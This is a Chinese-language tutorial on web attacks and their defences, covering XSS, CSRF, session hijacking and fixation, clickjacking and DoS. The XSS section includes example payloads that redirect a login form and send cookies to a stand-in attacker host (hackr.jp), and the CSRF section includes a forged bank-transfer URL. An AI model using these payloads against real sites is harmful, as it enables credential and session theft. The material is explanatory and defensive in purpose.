web攻击技术与防御

1、跨站脚本攻击（XSS）

        跨站脚本攻击是指经过存在安全漏洞的Web网站注册用户的浏览器运行非法的HTML标签或JavaScript进行的一种攻击。动态建立的HTML部分有可能隐藏着安全漏洞。就这样，当攻击者编写脚本，设下陷阱，用户在本身的浏览器上运行时，一不当心就会受到被动攻击。

        跨站脚本攻击有可能形成如下影响：

• 利用虚假信息骗取用户我的信息
• 利用脚本窃取用户的Cookie值，被害人在不知情的状况下，帮攻击者发送恶意请求。
• 显示伪造的文章或图片。

        跨站脚本攻击案例

        1. 在动态生成的HTML处发生

        在编辑我的信息的页面处输入<s>Username</s>，此时的确认界面上，浏览器会把用户输入的<s>解析成HTML标签，而后显示出删除线，删除线的显示不会形成太大的不利影响，但若是换成使用<script>标签将会带来不可估量的影响。

        2. 利用预先设置的陷阱触发的被动攻击

        当经过地址栏中的URL的查询字段指定ID时，至关于在表单内自动填写字符串的功能，此时隐藏着可执行跨站脚本攻击的漏洞。若是攻击者建立嵌入恶意代码的URL。并隐藏植入事先准备好的欺诈邮件中或Web页面内，诱使用户去点击该URL。

http://example.jp/login?ID="><script>var+
f=document.getElementById("login");+
f.action="http://hackr.jp/pwget";+
f.method="get";</script><span+s="

        浏览器打开该URL后，直观感受没产生什么影响，但设置好的脚本却偷偷开始运行了。当用户在表单内输入ID和密码后，就会直接发送到攻击者的网站，致使我的登录信息被窃取。以后，ID及密码会传给该正规网站，而在接下来仍然是按正常登录的步骤，用户很难意识到本身的登录信息已遭泄露。

        3. 对用户Cookie的窃取攻击

//xss.js
var content=escape(document.cookies);
document.write("<img src='http://hackr.jp/?'");
document.write(content);
document.write(">");

<script src="http://hackr.jp/xss.js"></script>

        在存在可跨站脚本攻击安全漏洞的Web应用上执行上面这段Javascript程序，便可访问到该Web应用所处域名下的Cookie信息。而后这些信息就会发送至攻击者的Web网站，记录在他的登录日志中。这样，攻击者就能够窃取到用户的Cookie信息了。

http://example.jp/login?ID="><script src='http://hackr.jp/xss.js'></script>"

        防护方案：

• 设置Cookie的HttpOnly属性，它使javascript脚本没法得到Cookie

Set-Cookie: name=value; HttpOnly

        设置后，一般还能够从Web页面对Cookie进行读取操做。但使用Javascript的document.cookie就没法读取附加HttpOnly属性后的Cookie内容了。

• 首部字段X-XSS-Protection

X-XSS-Protection: 1

        该首部字段是HTTP响应首部，它是针对跨站脚本攻击的一种对策，用于控制浏览器XSS的防御机制的开关。0：将XSS过滤设置成无效状态。1：将XSS过滤设置成有效状态。 

• 过滤或移除特殊的HTML标签，如<script><iframe>，<、>、"等用实体&lt、&gt、&quot替代。
• 对数据进行HTML Encode处理

       用户提交的数据进行HTML编码，将相应的符号转换为实体名称再进行下一步处理。

• 过滤JavaScript事件的标签。例如"onclick="，"onfocus"等等。
• 表单数据规定值的类型，例如年龄只能为int，name只能为字母数字下划线组合

2、跨站点请求伪造（XSRF）

        跨站点请求伪造攻击是指攻击者经过设置好的陷阱，强制对已完成认证的用户进行非预期的我的信息或设定信息等某些状态更新。

        跨站点请求伪造可能形成以下影响：

• 利用已经过认证的用户权限更新设定信息等
• 利用已经过认证的用户权限购买商品、虚拟货币转帐等
• 利用已经过认证的用户权限在留言板上发表评论

        跨站点请求伪造的攻击案例

         1. 银行转帐

        受害者 Bob 在银行有一笔存款，经过对银行的网站发送请求 http://bank.example/withdraw?account=bob&amount=1000000&for=bob2 可使 Bob 把 1000000 的存款转到 bob2 的帐号下。一般状况下，该请求发送到网站后，服务器会先验证该请求是否来自一个合法的 session，而且该 session 的用户 Bob 已经成功登录。

        黑客 Mallory 本身在该银行也有帐户，他知道上文中的 URL 能够把钱进行转账操做。Mallory 能够本身发送一个请求给银行：http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory。可是这个请求来自 Mallory 而非 Bob，他不能经过安全认证，所以该请求不会起做用。

        这时，Mallory 想到使用 CSRF 的攻击方式，他先本身作一个网站，在网站中放入以下代码： src=”http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory ”，而且经过广告等诱使 Bob 来访问他的网站。当 Bob 访问该网站时，上述 url 就会从 Bob 的浏览器发向银行，而这个请求会附带 Bob 浏览器中的 cookie 一块儿发向银行服务器。大多数状况下，该请求会失败，由于他要求 Bob 的认证信息。可是，若是 Bob 当时恰巧刚访问他的银行后不久，他的浏览器与银行网站之间的 session 还没有过时，浏览器的 cookie 之中含有 Bob 的认证信息。这时，悲剧发生了，这个 url 请求就会获得响应，钱将从 Bob 的帐号转移到 Mallory 的帐号，而 Bob 当时绝不知情。等之后 Bob 发现帐户钱少了，即便他去银行查询日志，他也只能发现确实有一个来自于他本人的合法请求转移了资金，没有任何被攻击的痕迹。而 Mallory 则能够拿到钱后逍遥法外。 

        2. 留言板功能

        在留言板系统上 ，受害者用户A是已认证状态，在他的浏览器中的Cookie持有已认证的会话ID

GET/HTTP/1.1
Host: example.com
Cookie: sid=1234567890

        攻击者在留言板上发表含有恶意代码的评论

<img src="http://example.com/msg?q=你好">

        设置好后一旦用户访问，即会发送在留言板上发表非主观行为产生的评论的请求的陷阱。用户A的浏览器在完成陷阱中的请求后，留言板上也就会留下那条评论。用户A的浏览器中的Cookie持有已认证的会话ID，利用用户A的权限执行发表动做。

GET/msg?q=你好 HTTP/1.1
Host: example.com
Cookie: sid=1234567890

        防护方案

• 验证HTTP Referer字段

        首部字段Referer会告知服务器请求的原始资源的URI。一般，访问一个安全受限页面的请求来自于同一网站，好比访问http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory，用户必须首先登录bank.example域名开头的地址。而后经过点击页面上的按钮来触发转帐事件。这时，该转账请求的 Referer 值就会是转帐按钮所在的页面的 URL，一般是以 bank.example 域名开头的地址。而若是黑客要对银行网站实施 CSRF 攻击，他只能在他本身的网站构造请求，当用户经过黑客的网站发送请求到银行时，该请求的 Referer 是指向黑客本身的网站。所以，要防护 CSRF 攻击，银行网站只须要对于每个转帐请求验证其 Referer 值，若是是以 bank.example 开头的域名，则说明该请求是来自银行网站本身的请求，是合法的。若是 Referer 是其余网站的话，则有多是黑客的 CSRF 攻击，拒绝该请求。

        这种方法的显而易见的好处就是简单易行，网站的普通开发人员不须要操心 CSRF 的漏洞，只须要在最后给全部安全敏感的请求统一增长一个拦截器来检查 Referer 的值就能够。特别是对于当前现有的系统，不须要改变当前系统的任何已有代码和逻辑，没有风险，很是便捷。

        然而，这种方法并不是万无一失。Referer 的值是由浏览器提供的，虽然 HTTP 协议上有明确的要求，可是每一个浏览器对于 Referer 的具体实现可能有差异，并不能保证浏览器自身没有安全漏洞。使用验证 Referer 值的方法，就是把安全性都依赖于第三方（即浏览器）来保障，从理论上来说，这样并不安全。事实上，对于某些浏览器，好比 IE6 或 FF2，目前已经有一些方法能够篡改 Referer 值。若是 bank.example 网站支持 IE6 浏览器，黑客彻底能够把用户浏览器的 Referer 值设为以 bank.example 域名开头的地址，这样就能够经过验证，从而进行 CSRF 攻击。

        即使是使用最新的浏览器，黑客没法篡改 Referer 值，这种方法仍然有问题。客户端通常都会发送Referer首部字段给服务器。但当直接在浏览器的地址栏中输入URI，原始资源的URI中的查询字符串可能含有ID和密码等保密信息，要是写进Referer转发给其余服务器，则有可能致使保密信息的泄漏。除此以外，因为 Referer 值会记录下用户的访问来源，有些用户认为这样会侵犯到他们本身的隐私权，特别是有些组织担忧 Referer 值会把组织内网中的某些信息泄露到外网中。所以，用户本身能够设置浏览器使其在发送请求时再也不提供 Referer。当他们正常访问银行网站时，网站会由于请求没有 Referer 值而认为是 CSRF 攻击，拒绝合法用户的访问。

• 在请求地址中添加Token并验证

         CSRF 攻击之因此可以成功，是由于黑客能够彻底伪造用户的请求，该请求中全部的用户验证信息都是存在于 cookie 中，所以黑客能够在不知道这些验证信息的状况下直接利用用户本身的 cookie 来经过安全验证。要抵御 CSRF，关键在于在请求中放入黑客所不能伪造的信息，而且该信息不存在于 cookie 之中。能够在 HTTP 请求中以参数的形式加入一个随机产生的 token，并在服务器端创建一个拦截器来验证这个 token，若是请求中没有 token 或者 token 内容不正确，则认为多是 CSRF 攻击而拒绝该请求。

        这种方法要比检查 Referer 要安全一些，token 能够在用户登录后产生并放于 session 之中，而后在每次请求时把 token 从 session 中拿出，与请求中的 token 进行比对，但这种方法的难点在于如何把 token 以参数的形式加入请求。对于 GET 请求，token 将附在请求地址以后，这样 URL 就变成 http://url?csrftoken=tokenvalue。 而对于 POST 请求来讲，要在 form 的最后加上 <input type=”hidden” name=”csrftoken” value=”tokenvalue”/>，这样就把 token 以参数的形式加入请求了。可是，在一个网站中，能够接受请求的地方很是多，要对于每个请求都加上 token 是很麻烦的，而且很容易漏掉，一般使用的方法就是在每次页面加载时，使用 javascript 遍历整个 dom 树，对于 dom 中全部的 a 和 form 标签后加入 token。这样能够解决大部分的请求，可是对于在页面加载以后动态生成的 html 代码，这种方法就没有做用，还须要程序员在编码时手动添加 token。

         该方法还有一个缺点是难以保证 token 自己的安全。特别是在一些论坛之类支持用户本身发表内容的网站，黑客能够在上面发布本身我的网站的地址。因为系统也会在这个地址后面加上 token，黑客能够在本身的网站上获得这个 token，并立刻就能够发动 CSRF 攻击。为了不这一点，系统能够在添加 token 的时候增长一个判断，若是这个连接是链到本身本站的，就在后面添加 token，若是是通向外网则不加。不过，即便这个 csrftoken 不以参数的形式附加在请求之中，黑客的网站也一样能够经过 Referer 来获得这个 token 值以发动 CSRF 攻击。这也是一些用户喜欢手动关闭浏览器 Referer 功能的缘由。

• 在HTTP头中自定义属性并验证

       这种方法也是使用 token 并进行验证，和上一种方法不一样的是，这里并非把 token 以参数的形式置于 HTTP 请求之中，而是把它放到 HTTP 头中自定义的属性里。经过 XMLHttpRequest 这个类，能够一次性给全部该类请求加上 csrftoken 这个 HTTP 头属性，并把 token 值放入其中。这样解决了上种方法在请求中加入 token 的不便，同时，经过 XMLHttpRequest 请求的地址不会被记录到浏览器的地址栏，也不用担忧 token 会透过 Referer 泄露到其余网站中去。

        然而这种方法的局限性很是大。XMLHttpRequest 请求一般用于 Ajax 方法中对于页面局部的异步刷新，并不是全部的请求都适合用这个类来发起，并且经过该类请求获得的页面不能被浏览器所记录下，从而进行前进，后退，刷新，收藏等操做，给用户带来不便。另外，对于没有进行 CSRF 防御的遗留系统来讲，要采用这种方法来进行防御，要把全部请求都改成 XMLHttpRequest 请求，这样几乎是要重写整个网站，这代价无疑是难以使人接受的。

 3、Session攻击

        1. 会话劫持攻击

        会话劫持（Session Hijack）是指攻击者经过某种手段拿到了用户的会话ID，并不是法使用此会话ID假装成用户，达到攻击的目的。

        具有认证功能的Web应用，使用会话ID的会话管理机制，做为管理认证状态的主流方式。会话ID中记录客户端的Cookie等信息，服务端将会话ID与认证状态进行一对一匹配管理。

        有下面几种攻击者获取会话ID的途径。

• 经过非正规的生成方法推测会话ID
• 经过窃听或XSS攻击盗取会话ID
• 经过会话固定攻击（Session Fixation）强行获取会话ID

        攻击步骤：

        会话劫持攻击案例

         以认证功能为例，经过会话管理机制，会将成功认证的用户的会话ID（SID）保存在用户浏览器的Cookie中。

        攻击者在得知该Web网站存在可跨站攻击（XSS）的安全漏洞后，就设置好用Javascript脚本调用document.cookie以窃取Cookie信息的陷阱，一旦用户踏入了这个陷阱，攻击者就能获取含有会话ID的Cookie。攻击者拿到用户的会话ID后，往本身的浏览器的Cookie中设置该会话ID，便可假装成会话ID遭窃的用户，访问Web网站了。

        会话劫持防御：

• 关闭透明化的SessionID。透明化的SessionID指当浏览器中的HTTP请求没有使用Cookie来存放SessionID时，SessionID则使用URL来传递。
• 设置HttpOnly。经过设置Cookie的HttpOnly，能够防止客户端脚本访问这个Cookie，从而有效的防止XSS攻击，进而防止Cookie的非法窃取。
• 验证HTTP头部信息。在http访问头文件中：[Accept-Charset、Accept-Encoding、Accept-Language、User-Agent]，通常浏览器发出的头部不会改变。

        确保User-Agent头部信息一致的确是有效的，若是会话标识经过cookie传递，攻击者能取得会话标识，他同时也能取得其它HTTP头部。因为cookie暴露与浏览器漏洞或跨站脚本漏洞相关，受害者须要访问攻击者的网站并暴露全部头部信息。则攻击者只需重建头部便可进行攻击了。

• 须要先作好XSS防护。

         2. 会话固定攻击

        对以窃取目标会话ID为主要攻击手段的会话劫持而言，会话固定攻击（Session Fixation）攻击会强制用户使用攻击者指定的会话ID，属于被动攻击。让合法用户使用黑客预先设置的SessionID进行登陆，从而使Web再也不进行生成新的SessionID，从而致使黑客设置的SessionID变成了合法桥梁。会话固定也能够当作是会话劫持的一种类型，缘由是会话固定的攻击主要目的一样是得到目标用户的合法会话，不过会话固定还能够是强迫受害者使用攻击者设定的一个有效会话，以此来得到用户的敏感信息。

        攻击步骤：

        会话固定攻击案例：

        仍以认证功能为例，对Web网站的认证功能，会在认证前发布一个会话ID，若认证成功，就会在服务器内改变认证状态。

        攻击者准备陷阱，先访问Web网站拿到会话ID（假设是SID=f5d1278e8109)，此刻，会话ID在服务器上的记录仍然是未认证状态；攻击者设置好强制用户使用该会话ID的陷阱，并等待用户拿着这个会话ID前去认证。一旦用户触发陷阱并完成认证，会话ID（SID=f5d1278e8109）在服务器上的状态就会被记录下来；攻击者估计用户差很少已经触发陷阱后，再利用以前这个会话ID访问网站，因为该会话ID目前已经是用户认证状态，因而攻击者做为用户的身份顺利登录网站。

        会话固定防护

        1. 每当用户登录的时候就进行重置SessionID

        2. SessionID闲置太久时，进行重置SessionID

        3. 大部分防止会话劫持的方法对固定攻击一样有效。如设置HttpOnly、关闭透明化SessionID、User-Agent验证、Token校验等。

4、点击劫持

        点击劫持（Clickjacking）是指利用透明的按钮或连接作成陷阱，覆盖在Web页面之上。而后诱使用户在不知情的状况下，点击那个连接访问内容的一种攻击手段。这种行为又称为界面假装。已设置陷阱的Web页面，表面上内容并没有不妥，但早已埋入诱导连接。当用户点击到透明的按钮时，其实是点击了已指定透明属性元素的iframe页面。

        防护方法：

• 利用header("X-Frame-Options:DENY");

        DENY：表示拒绝浏览器加载任何frame页面，

        SAMEORIGIN：表示frame页面地址只能是同源域名下的页面，

        ALLOW-FROM origin可自定义容许frame加载页面地址。

• 经过写一段javascript代码来禁止iframe的嵌套，这种方法叫作frame busting。

if ( top.location != location ) {
    top.location = self.location;
}
//常见的frame busting有一下方式：
if (top != self)
if (top.location != self.location)
if (top.location != location)
if (parent.frames.length > 0)
if (window != top)
if (window.top !== window.self)
if (window.self != window.top)
if (parent && parent != window)
if (parent && parent.frames && parent.frames.length>0)
if((self.parent && !(self.parent===self)) && (self.parent.frames.le
ngth!=0))
top.location = self.location
top.location.href = document.location.href
top.location.href = self.location.href
top.location.replace(self.location)
top.location.href = window.location.href
top.location.replace(document.location)
top.location.href = window.location.href
top.location.href = "URL"
document.write('')
top.location = location
top.location.replace(document.location)
top.location.replace('URL')
top.location.href = document.location
top.location.replace(window.location.href)
top.location.href = location.href
self.parent.location = document.location
parent.location.href = self.document.location
parent.location = self.location;

        因为这种方法存在被绕过的可能性，所以最好用第一种方法。

5、DOS攻击

        DOS攻击(Denial of Service attack)是一种让运行中的服务呈中止状态的攻击。有时也叫作服务中止攻击或拒绝服务攻击。DOS攻击的对象不只限于Web网站，还包括网络设备及服务器等。主要有如下两种DOS攻击方式：

        1. 集中利用访问请求形成资源过载，资源用尽的同时，实际上服务也就处于中止状态。

        2.经过攻击安全漏洞使服务中止

 

参考：

https://blog.csdn.net/stpeace/article/details/53512283